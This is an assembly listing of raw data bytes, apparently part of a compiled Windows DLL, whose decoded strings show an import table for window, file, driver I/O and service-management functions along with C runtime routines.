DB 000H,000H,01DH,000H,000H,0C0H,004H,000H,000H,000H,000H,000H,000H,000H,096H
DB 000H,000H,0C0H,004H,000H,000H,000H,000H,000H,000H,000H,08DH,000H,000H,0C0H
DB 008H,000H,000H,000H,000H,000H,000H,000H,08EH,000H,000H,0C0H,008H,000H,000H
DB 000H,000H,000H,000H,000H,08FH,000H,000H,0C0H,008H,000H,000H,000H,000H,000H
DB 000H,000H,090H,000H,000H,0C0H,008H,000H,000H,000H,000H,000H,000H,000H,091H
DB 000H,000H,0C0H,008H,000H,000H,000H,000H,000H,000H,000H,092H,000H,000H,0C0H
DB 008H,000H,000H,000H,000H,000H,000H,000H,093H,000H,000H,0C0H,008H,000H,000H
DB 000H,000H,000H,000H,000H,003H,000H,000H,000H,007H,000H,000H,000H,078H,000H
DB 000H,000H,00AH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,047H,065H,074H,04CH,061H,073H,074H,041H,063H,074H,069H,076H,065H,050H
DB 06FH,070H,075H,070H,000H,000H,047H,065H,074H,041H,063H,074H,069H,076H,065H
DB 057H,069H,06EH,064H,06FH,077H,000H,04DH,065H,073H,073H,061H,067H,065H,042H
DB 06FH,078H,041H,000H,075H,073H,065H,072H,033H,032H,02EH,064H,06CH,06CH,000H
DB 000H,000H,000H,000H,000H,020H,0A4H,000H,010H,000H,000H,000H,000H,020H,0A4H
DB 000H,010H,001H,001H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,002H,000H,000H,000H,001H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,002H,000H,000H,000H,002H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,00AH,000H,000H,000H,000H,000H,000H
DB 000H,041H,073H,073H,065H,072H,074H,069H,06FH,06EH,020H,066H,061H,069H,06CH
DB 065H,064H,03AH,020H,025H,073H,02CH,020H,066H,069H,06CH,065H,020H,025H,073H
DB 02CH,020H,06CH,069H,06EH,065H,020H,025H,064H,00AH,000H,05CH,056H,000H,010H
DB 0B0H,05AH,000H,010H,03CH,056H,000H,010H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,001H,000H
DB 000H,000H,016H,000H,000H,000H,002H,000H,000H,000H,002H,000H,000H,000H,003H
DB 000H,000H,000H,002H,000H,000H,000H,004H,000H,000H,000H,018H,000H,000H,000H
DB 005H,000H,000H,000H,00DH,000H,000H,000H,006H,000H,000H,000H,009H,000H,000H
DB 000H,007H,000H,000H,000H,00CH,000H,000H,000H,008H,000H,000H,000H,00CH,000H
DB 000H,000H,009H,000H,000H,000H,00CH,000H,000H,000H,00AH,000H,000H,000H,007H
DB 000H,000H,000H,00BH,000H,000H,000H,008H,000H,000H,000H,00CH,000H,000H,000H
DB 016H,000H,000H,000H,00DH,000H,000H,000H,016H,000H,000H,000H,00FH,000H,000H
DB 000H,002H,000H,000H,000H,010H,000H,000H,000H,00DH,000H,000H,000H,011H,000H
DB 000H,000H,012H,000H,000H,000H,012H,000H,000H,000H,002H,000H,000H,000H,021H
DB 000H,000H,000H,00DH,000H,000H,000H,035H,000H,000H,000H,002H,000H,000H,000H
DB 041H,000H,000H,000H,00DH,000H,000H,000H,043H,000H,000H,000H,002H,000H,000H
DB 000H,050H,000H,000H,000H,011H,000H,000H,000H,052H,000H,000H,000H,00DH,000H
DB 000H,000H,053H,000H,000H,000H,00DH,000H,000H,000H,057H,000H,000H,000H,016H
DB 000H,000H,000H,059H,000H,000H,000H,00BH,000H,000H,000H,06CH,000H,000H,000H
DB 00DH,000H,000H,000H,06DH,000H,000H,000H,020H,000H,000H,000H,070H,000H,000H
DB 000H,01CH,000H,000H,000H,072H,000H,000H,000H,009H,000H,000H,000H,006H,000H
DB 000H,000H,016H,000H,000H,000H,080H,000H,000H,000H,00AH,000H,000H,000H,081H
DB 000H,000H,000H,00AH,000H,000H,000H,082H,000H,000H,000H,009H,000H,000H,000H
DB 083H,000H,000H,000H,016H,000H,000H,000H,084H,000H,000H,000H,00DH,000H,000H
DB 000H,091H,000H,000H,000H,029H,000H,000H,000H,09EH,000H,000H,000H,00DH,000H
DB 000H,000H,0A1H,000H,000H,000H,002H,000H,000H,000H,0A4H,000H,000H,000H,00BH
DB 000H,000H,000H,0A7H,000H,000H,000H,00DH,000H,000H,000H,0B7H,000H,000H,000H
DB 011H,000H,000H,000H,0CEH,000H,000H,000H,002H,000H,000H,000H,0D7H,000H,000H
DB 000H,00BH,000H,000H,000H,018H,007H,000H,000H,00CH,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,028H,000H,06EH,000H,075H,000H,06CH,000H,06CH
DB 000H,029H,000H,000H,000H,000H,000H,028H,06EH,075H,06CH,06CH,029H,000H,000H
DB 080H,05CH,000H,010H,070H,05CH,000H,010H,0C0H,037H,000H,010H,0C0H,037H,000H
DB 010H,0C0H,037H,000H,010H,0C0H,037H,000H,010H,0C0H,037H,000H,010H,0C0H,037H
DB 000H,010H,0B2H,05CH,000H,010H,0B2H,05CH,000H,010H,000H,000H,020H,000H,020H
DB 000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H
DB 028H,000H,028H,000H,028H,000H,028H,000H,028H,000H,020H,000H,020H,000H,020H
DB 000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H
DB 020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H
DB 000H,048H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H
DB 010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H
DB 000H,010H,000H,084H,000H,084H,000H,084H,000H,084H,000H,084H,000H,084H,000H
DB 084H,000H,084H,000H,084H,000H,084H,000H,010H,000H,010H,000H,010H,000H,010H
DB 000H,010H,000H,010H,000H,010H,000H,081H,000H,081H,000H,081H,000H,081H,000H
DB 081H,000H,081H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H
DB 000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H
DB 001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,010H
DB 000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,082H,000H,082H,000H
DB 082H,000H,082H,000H,082H,000H,082H,000H,002H,000H,002H,000H,002H,000H,002H
DB 000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H
DB 002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H
DB 000H,002H,000H,010H,000H,010H,000H,010H,000H,010H,000H,020H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,001H,000H,000H,000H,02EH,000H,000H,000H,001H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,070H,0C0H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 04EH,0C2H,000H,000H,044H,0C1H,000H,000H,01CH,0C1H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,068H,0C2H,000H,000H,0F0H,0C1H,000H,000H,050H,0C0H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0F0H,0C2H,000H,000H,024H
DB 0C1H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,0E0H,0C2H,000H,000H,0CEH,0C2H,000H
DB 000H,08AH,0C2H,000H,000H,074H,0C2H,000H,000H,0AEH,0C2H,000H,000H,0BEH,0C2H
DB 000H,000H,09CH,0C2H,000H,000H,000H,000H,000H,000H,040H,0C2H,000H,000H,030H
DB 0C2H,000H,000H,018H,0C2H,000H,000H,006H,0C2H,000H,000H,0B8H,0C3H,000H,000H
DB 036H,0C4H,000H,000H,020H,0C4H,000H,000H,0FEH,0C2H,000H,000H,010H,0C3H,000H
DB 000H,022H,0C3H,000H,000H,036H,0C3H,000H,000H,044H,0C3H,000H,000H,052H,0C3H
DB 000H,000H,068H,0C3H,000H,000H,076H,0C3H,000H,000H,082H,0C3H,000H,000H,08CH
DB 0C3H,000H,000H,09CH,0C3H,000H,000H,0AAH,0C3H,000H,000H,0F8H,0C1H,000H,000H
DB 0C6H,0C3H,000H,000H,0D8H,0C3H,000H,000H,0E6H,0C3H,000H,000H,0F6H,0C3H,000H
DB 000H,008H,0C4H,000H,000H,068H,0C5H,000H,000H,078H,0C5H,000H,000H,042H,0C4H
DB 000H,000H,04CH,0C4H,000H,000H,058H,0C4H,000H,000H,072H,0C4H,000H,000H,08AH
DB 0C4H,000H,000H,0A4H,0C4H,000H,000H,0BEH,0C4H,000H,000H,0D4H,0C4H,000H,000H
DB 0E0H,0C4H,000H,000H,0FCH,0C4H,000H,000H,014H,0C5H,000H,000H,02CH,0C5H,000H
DB 000H,038H,0C5H,000H,000H,044H,0C5H,000H,000H,054H,0C5H,000H,000H,000H,000H
DB 000H,000H,05CH,0C2H,000H,000H,000H,000H,000H,000H,0E0H,0C2H,000H,000H,0CEH
DB 0C2H,000H,000H,08AH,0C2H,000H,000H,074H,0C2H,000H,000H,0AEH,0C2H,000H,000H
DB 0BEH,0C2H,000H,000H,09CH,0C2H,000H,000H,000H,000H,000H,000H,040H,0C2H,000H
DB 000H,030H,0C2H,000H,000H,018H,0C2H,000H,000H,006H,0C2H,000H,000H,0B8H,0C3H
DB 000H,000H,036H,0C4H,000H,000H,020H,0C4H,000H,000H,0FEH,0C2H,000H,000H,010H
DB 0C3H,000H,000H,022H,0C3H,000H,000H,036H,0C3H,000H,000H,044H,0C3H,000H,000H
DB 052H,0C3H,000H,000H,068H,0C3H,000H,000H,076H,0C3H,000H,000H,082H,0C3H,000H
DB 000H,08CH,0C3H,000H,000H,09CH,0C3H,000H,000H,0AAH,0C3H,000H,000H,0F8H,0C1H
DB 000H,000H,0C6H,0C3H,000H,000H,0D8H,0C3H,000H,000H,0E6H,0C3H,000H,000H,0F6H
DB 0C3H,000H,000H,008H,0C4H,000H,000H,068H,0C5H,000H,000H,078H,0C5H,000H,000H
DB 042H,0C4H,000H,000H,04CH,0C4H,000H,000H,058H,0C4H,000H,000H,072H,0C4H,000H
DB 000H,08AH,0C4H,000H,000H,0A4H,0C4H,000H,000H,0BEH,0C4H,000H,000H,0D4H,0C4H
DB 000H,000H,0E0H,0C4H,000H,000H,0FCH,0C4H,000H,000H,014H,0C5H,000H,000H,02CH
DB 0C5H,000H,000H,038H,0C5H,000H,000H,044H,0C5H,000H,000H,054H,0C5H,000H,000H
DB 000H,000H,000H,000H,05CH,0C2H,000H,000H,000H,000H,000H,000H,016H,000H,043H
DB 06CH,06FH,073H,065H,048H,061H,06EH,064H,06CH,065H,000H,047H,000H,044H,065H
DB 076H,069H,063H,065H,049H,06FH,043H,06FH,06EH,074H,072H,06FH,06CH,000H,0C2H
DB 000H,047H,065H,074H,043H,075H,072H,072H,065H,06EH,074H,044H,069H,072H,065H
DB 063H,074H,06FH,072H,079H,041H,000H,000H,0E1H,000H,047H,065H,074H,04CH,061H
DB 073H,074H,045H,072H,072H,06FH,072H,000H,000H,02BH,000H,043H,072H,065H,061H
DB 074H,065H,046H,069H,06CH,065H,041H,000H,04BH,045H,052H,04EH,045H,04CH,033H
DB 032H,02EH,064H,06CH,06CH,000H,000H,049H,002H,077H,073H,070H,072H,069H,06EH
DB 074H,066H,041H,000H,055H,053H,045H,052H,033H,032H,02EH,064H,06CH,06CH,000H
DB 000H,016H,000H,043H,06CH,06FH,073H,065H,053H,065H,072H,076H,069H,063H,065H
DB 048H,061H,06EH,064H,06CH,065H,000H,000H,0B1H,000H,04FH,070H,065H,06EH,053H
DB 043H,04DH,061H,06EH,061H,067H,065H,072H,041H,000H,000H,01CH,000H,043H,072H
DB 065H,061H,074H,065H,053H,065H,072H,076H,069H,063H,065H,041H,000H,000H,006H
DB 001H,053H,074H,061H,072H,074H,053H,065H,072H,076H,069H,063H,065H,041H,000H
DB 0B3H,000H,04FH,070H,065H,06EH,053H,065H,072H,076H,069H,063H,065H,041H,000H
DB 000H,017H,000H,043H,06FH,06EH,074H,072H,06FH,06CH,053H,065H,072H,076H,069H
DB 063H,065H,000H,000H,01FH,000H,044H,065H,06CH,065H,074H,065H,053H,065H,072H
DB 076H,069H,063H,065H,000H,041H,044H,056H,041H,050H,049H,033H,032H,02EH,064H
DB 06CH,06CH,000H,000H,09FH,000H,047H,065H,074H,043H,06FH,06DH,06DH,061H,06EH
DB 064H,04CH,069H,06EH,065H,041H,000H,003H,001H,047H,065H,074H,050H,072H,06FH
DB 063H,041H,064H,064H,072H,065H,073H,073H,000H,000H,0EBH,000H,047H,065H,074H
DB 04DH,06FH,064H,075H,06CH,065H,048H,061H,06EH,064H,06CH,065H,041H,000H,000H
DB 037H,001H,047H,065H,074H,056H,065H,072H,073H,069H,06FH,06EH,000H,000H,062H
DB 000H,045H,078H,069H,074H,050H,072H,06FH,063H,065H,073H,073H,000H,0C7H,000H
DB 047H,065H,074H,043H,075H,072H,072H,065H,06EH,074H,054H,068H,072H,065H,061H
DB 064H,049H,064H,000H,000H,022H,002H,054H,06CH,073H,053H,065H,074H,056H,061H
DB 06CH,075H,065H,000H,01FH,002H,054H,06CH,073H,041H,06CH,06CH,06FH,063H,000H
DB 000H,020H,002H,054H,06CH,073H,046H,072H,065H,065H,000H,0FDH,001H,053H,065H
DB 074H,04CH,061H,073H,074H,045H,072H,072H,06FH,072H,000H,000H,021H,002H,054H
DB 06CH,073H,047H,065H,074H,056H,061H,06CH,075H,065H,000H,055H,001H,048H,065H
DB 061H,070H,043H,072H,065H,061H,074H,065H,000H,000H,057H,001H,048H,065H,061H
DB 070H,044H,065H,073H,074H,072H,06FH,079H,000H,0FAH,001H,053H,065H,074H,048H
DB 061H,06EH,064H,06CH,065H,043H,06FH,075H,06EH,074H,000H,000H,0DCH,000H,047H
DB 065H,074H,046H,069H,06CH,065H,054H,079H,070H,065H,000H,016H,001H,047H,065H
DB 074H,053H,074H,064H,048H,061H,06EH,064H,06CH,065H,000H,000H,014H,001H,047H
DB 065H,074H,053H,074H,061H,072H,074H,075H,070H,049H,06EH,066H,06FH,041H,000H
DB 044H,000H,044H,065H,06CH,065H,074H,065H,043H,072H,069H,074H,069H,063H,061H
DB 06CH,053H,065H,063H,074H,069H,06FH,06EH,000H,0E9H,000H,047H,065H,074H,04DH
DB 06FH,064H,075H,06CH,065H,046H,069H,06CH,065H,04EH,061H,06DH,065H,041H,000H
DB 000H,098H,000H,047H,065H,074H,043H,050H,049H,06EH,066H,06FH,000H,092H,000H
DB 047H,065H,074H,041H,043H,050H,000H,000H,0F6H,000H,047H,065H,074H,04FH,045H
DB 04DH,043H,050H,000H,000H,08BH,000H,046H,072H,065H,065H,045H,06EH,076H,069H
DB 072H,06FH,06EH,06DH,065H,06EH,074H,053H,074H,072H,069H,06EH,067H,073H,041H
DB 000H,0D0H,000H,047H,065H,074H,045H,06EH,076H,069H,072H,06FH,06EH,06DH,065H
DB 06EH,074H,053H,074H,072H,069H,06EH,067H,073H,000H,08CH,000H,046H,072H,065H
DB 065H,045H,06EH,076H,069H,072H,06FH,06EH,06DH,065H,06EH,074H,053H,074H,072H
DB 069H,06EH,067H,073H,057H,000H,0D2H,000H,047H,065H,074H,045H,06EH,076H,069H
DB 072H,06FH,06EH,06DH,065H,06EH,074H,053H,074H,072H,069H,06EH,067H,073H,057H
DB 000H,000H,042H,002H,057H,069H,064H,065H,043H,068H,061H,072H,054H,06FH,04DH
DB 075H,06CH,074H,069H,042H,079H,074H,065H,000H,04FH,002H,057H,072H,069H,074H
DB 065H,046H,069H,06CH,065H,000H,064H,001H,049H,06EH,069H,074H,069H,061H,06CH
DB 069H,07AH,065H,043H,072H,069H,074H,069H,063H,061H,06CH,053H,065H,063H,074H
DB 069H,06FH,06EH,000H,04FH,000H,045H,06EH,074H,065H,072H,043H,072H,069H,074H
DB 069H,063H,061H,06CH,053H,065H,063H,074H,069H,06FH,06EH,000H,000H,077H,001H
DB 04CH,065H,061H,076H,065H,043H,072H,069H,074H,069H,063H,061H,06CH,053H,065H
DB 063H,074H,069H,06FH,06EH,000H,000H,053H,001H,048H,065H,061H,070H,041H,06CH
DB 06CH,06FH,063H,000H,059H,001H,048H,065H,061H,070H,046H,072H,065H,065H,000H
DB 000H,078H,001H,04CH,06FH,061H,064H,04CH,069H,062H,072H,061H,072H,079H,041H
DB 000H,000H,083H,000H,046H,06CH,075H,073H,068H,046H,069H,06CH,065H,042H,075H
DB 066H,066H,065H,072H,073H,000H,000H,006H,002H,053H,065H,074H,053H,074H,064H
DB 048H,061H,06EH,064H,06CH,065H,000H,000H,0F8H,001H,053H,065H,074H,046H,069H
DB 06CH,065H,050H,06FH,069H,06EH,074H,065H,072H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,010H,000H,000H,034H,001H
DB 000H,000H,020H,030H,026H,030H,07CH,030H,093H,030H,099H,030H,0E4H,030H,0EAH
DB 030H,00BH,031H,01FH,031H,027H,031H,064H,031H,082H,031H,088H,031H,0E1H,031H
DB 0F0H,031H,0F6H,031H,01CH,032H,022H,032H,064H,032H,084H,032H,089H,032H,094H
DB 032H,0A5H,032H,0ADH,032H,0C8H,032H,0E0H,032H,0FBH,032H,013H,033H,03DH,033H
DB 073H,033H,0A7H,033H,0B5H,033H,0D3H,033H,0E9H,033H,0F8H,033H,00BH,034H,02DH
DB 034H,034H,034H,054H,034H,079H,034H,09DH,034H,0BEH,034H,0E6H,034H,002H,035H
DB 00BH,035H,033H,035H,045H,035H,04EH,035H,06FH,035H,075H,035H,07BH,035H,097H
DB 035H,09DH,035H,0A6H,035H,0ADH,035H,0C8H,035H,0D7H,035H,0E0H,035H,0E5H,035H
DB 0EBH,035H,0F5H,035H,00EH,036H,013H,036H,01EH,036H,024H,036H,05EH,036H,069H
DB 036H,06FH,036H,0C3H,036H,0D2H,036H,0F0H,036H,0FAH,036H,066H,037H,081H,037H
DB 090H,037H,0B0H,037H,0C1H,037H,0CCH,037H,0D1H,037H,0DEH,037H,0E3H,037H,029H
DB 038H,03CH,038H,044H,038H,04DH,038H,056H,038H,069H,038H,070H,038H,075H,038H
DB 082H,038H,087H,038H,0A6H,038H,0F8H,038H,0FDH,038H,01EH,039H,025H,039H,038H
DB 039H,056H,039H,062H,039H,068H,039H,087H,039H,0A4H,039H,0ABH,039H,0B2H,039H
DB 0D0H,039H,0D7H,039H,0EAH,039H,006H,03AH,012H,03AH,027H,03AH,02EH,03AH,0A4H
DB 03AH,0ABH,03AH,0CBH,03AH,0D0H,03AH,0E1H,03AH,0E8H,03AH,01CH,03BH,022H,03BH
DB 049H,03BH,05DH,03BH,094H,03BH,09BH,03BH,0BAH,03BH,0EAH,03BH,0F4H,03BH,00DH
DB 03CH,027H,03CH,048H,03CH,071H,03CH,07FH,03CH,0B8H,03CH,0BFH,03CH,0D4H,03CH
DB 0DBH,03CH,01AH,03DH,035H,03DH,06CH,03DH,085H,03DH,0F0H,03DH,01BH,03EH,024H
DB 03EH,029H,03EH,02FH,03EH,03AH,03EH,09CH,03EH,0A2H,03EH,0FBH,03EH,03FH,03FH
DB 000H,000H,000H,020H,000H,000H,040H,001H,000H,000H,024H,030H,045H,030H,0B2H
DB 030H,0F2H,030H,006H,031H,014H,031H,022H,031H,05AH,031H,078H,031H,088H,031H
DB 09AH,031H,0BCH,031H,0DAH,031H,0E0H,031H,0FFH,031H,00CH,032H,011H,032H,01FH
DB 032H,028H,032H,04EH,032H,053H,032H,05AH,032H,07CH,032H,0C2H,032H,0D5H,032H
DB 0DFH,032H,0EAH,032H,0F4H,032H,0FFH,032H,008H,033H,022H,033H,029H,033H,048H
DB 033H,04CH,033H,050H,033H,054H,033H,058H,033H,074H,033H,081H,033H,086H,033H
DB 08CH,033H,091H,033H,0B5H,033H,0C2H,033H,0D0H,033H,0E0H,033H,0ECH,033H,00AH
DB 034H,010H,034H,061H,034H,088H,034H,09EH,034H,0AFH,034H,0BFH,034H,0CCH,034H
DB 00CH,035H,031H,035H,055H,035H,061H,035H,070H,035H,085H,035H,0A9H,035H,0C2H
DB 035H,0CBH,035H,0DEH,035H,0EBH,035H,0F4H,035H,01AH,036H,027H,036H,073H,036H
DB 081H,036H,0C2H,036H,0F5H,036H,02AH,037H,049H,037H,059H,037H,061H,037H,07FH
DB 037H,092H,037H,099H,037H,0A1H,037H,0A9H,037H,0B1H,037H,0C5H,037H,0CEH,037H
DB 001H,038H,009H,038H,011H,038H,019H,038H,03CH,038H,071H,038H,090H,038H,0AAH
DB 038H,0B1H,038H,0C8H,038H,0CFH,038H,0D6H,038H,0F0H,038H,022H,039H,038H,039H
DB 03FH,039H,046H,039H,060H,039H,092H,039H,0B6H,039H,0BBH,039H,0D4H,039H,0E7H
DB 039H,00CH,03AH,013H,03AH,021H,03AH,086H,03AH,090H,03AH,0A7H,03AH,0AEH,03AH
DB 0B4H,03AH,0BFH,03AH,0C5H,03AH,0CDH,03AH,0D6H,03AH,0DEH,03AH,0E3H,03AH,0EBH
DB 03AH,0F0H,03AH,002H,03BH,00CH,03BH,024H,03BH,072H,03BH,07CH,03BH,088H,03BH
DB 091H,03BH,09CH,03BH,0AAH,03BH,0B4H,03BH,0C9H,03BH,0DCH,03BH,0E4H,03BH,0FAH
